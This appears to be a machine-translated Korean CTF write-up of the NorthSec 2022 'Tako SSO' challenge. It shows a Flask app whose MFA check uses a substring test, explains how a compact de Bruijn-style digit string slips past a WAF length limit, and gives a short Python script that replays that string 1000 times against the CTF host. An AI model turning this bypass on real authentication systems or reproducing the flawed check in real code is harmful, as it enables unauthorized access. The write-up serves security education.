NorthSec 2022: Tako SSO

9269 단어 pythonsecurity
추가 해결 크레딧:
  • 알렉산드라 테니
  • 고양이 위스퍼러
  • 제임스 로더

  • 다단계 인증은 틀림없이 사이버 보안의 핵심 개념이며 잘못하면 치명적인 결과를 초래할 수 있습니다. 따라서 언제나처럼 완전히 안전한 Ouyaya의 SSO 제공업체인 Tako SSO를 살펴보겠습니다.

    정찰



    웹 앱에 대한 자격 증명이 제공됩니다. 거의 즉시 HTML 주석에서 소스 코드를 얻을 수 있습니다. Flask 앱처럼 보입니다.

    from flask import Flask, session, render_template, request
    from flask_session import Session
    import secrets
    from flask_json import FlaskJSON, JsonError, json_response, as_json
    
    app = Flask(__name__)
    app.config['SESSION_TYPE'] = 'filesystem'
    Session(app)
    FlaskJSON(app)
    
    @app.route("/")
    def set():
        session['tries'] = session.get('tries',0)
        return render_template('index.html')
    
    @app.route("/guess", methods=['POST'])
    def guess():
        session['tries'] = int(session.get('tries',0))
        x = secrets.randbelow(100)
        data = request.get_json(force=True)
        value= data['value']
        if str(x) in value:
            session['tries'] = session['tries'] + 1
            if session['tries'] > 1000:
                msg = "The flag is CHANGEME"
            else:
                msg = "This is the value expected. You are at " + str(session['tries']) + " out of 1000. Sending a new challenge"
        else:
            msg = "I expected the challenge value " + str(x) + " Resetting you to 0 tries. Good luck"
            session['tries'] = 0
        return msg
    


    따라서 주요 공격 지점은 실제 인증을 수행하는 "/guess"끝점인 것 같습니다. 우리는 1000번의 성공적인 시도를 연속적으로 수행해야 합니다. 이는 (1/100)^1000의 기회가 순전히 우연히, 즉 Hot Wheels PC가 아닌 대부분의 컴퓨터에서 우주의 열사 이후에 발생할 수 있습니다.

    하지만 코드에 치명적인 결함이 있습니다.

    if str(x) in value:
    


    숫자가 입력에 있는지 확인합니다. 그래서 우리는 0에서 99까지의 모든 숫자의 방대한 문자열을 보내는 공격을 가지고 있습니다. 맞습니까?

    잘못된!

    모든 숫자의 문자열을 보내려고 하면 WAF 블록이 발생합니다. 길이가 100 이하인 문자열이 통과하는 것처럼 보입니다. 하지만 문자열의 모든 숫자는 600 이상입니다. 이를 압축할 수 있습니까?

    de Bruijn 시퀀스로 알려진 수학적 개념이 존재합니다. 지루한 수학 문제를 건너뛰기 위해 기본적으로 더 효율적인 무차별 대입 조합 생성기이며, 본질적으로 중복 항목이 제거되기 때문에 더 짧은 무차별 대입 시퀀스를 만듭니다. 이것은 이미지 픽셀 제거 프로그램에 사용되는데, 제가 그것에 대해 알게 된 곳입니다.

    따라서 10자(숫자 0-9)의 공백과 길이 2의 문자열(본질적으로 0-9의 모든 숫자가 표시되기 때문에)이 있는 de Bruijn 시퀀스를 사용합니다. 목록에서 90개를 얻기 위한 약간의 조작과 100개의 문자에 맞춘 후 우리 팀은 다음과 같은 최종 익스플로잇을 작성했습니다.

    import requests
    
    def main():
        cookies = {
            "session": "0dded050-e2f1-44e7-befd-14b263c74bb3"
        }
    
        json = {
            "value": "102030405060708091121314151617181922324252627282933435363738394454647484955657585966768697787988990"
        }
    
        for i in range(1000):
            r = requests.post("http://tako-sso.ctf/guess", cookies=cookies, json=json, proxies={
                "http": "http://localhost:8080",
                "https": "http://localhost:8080",
            })
    
            print(r.text)
    main()
    

    Flag-CaptchaShr00m

    결론



    Tako SSO는 적절한 검사의 중요성을 강조하고 보안을 수행하기 위해 WAF에 의존하지 않는 좋은 도전이었습니다.

    좋은 웹페이지 즐겨찾기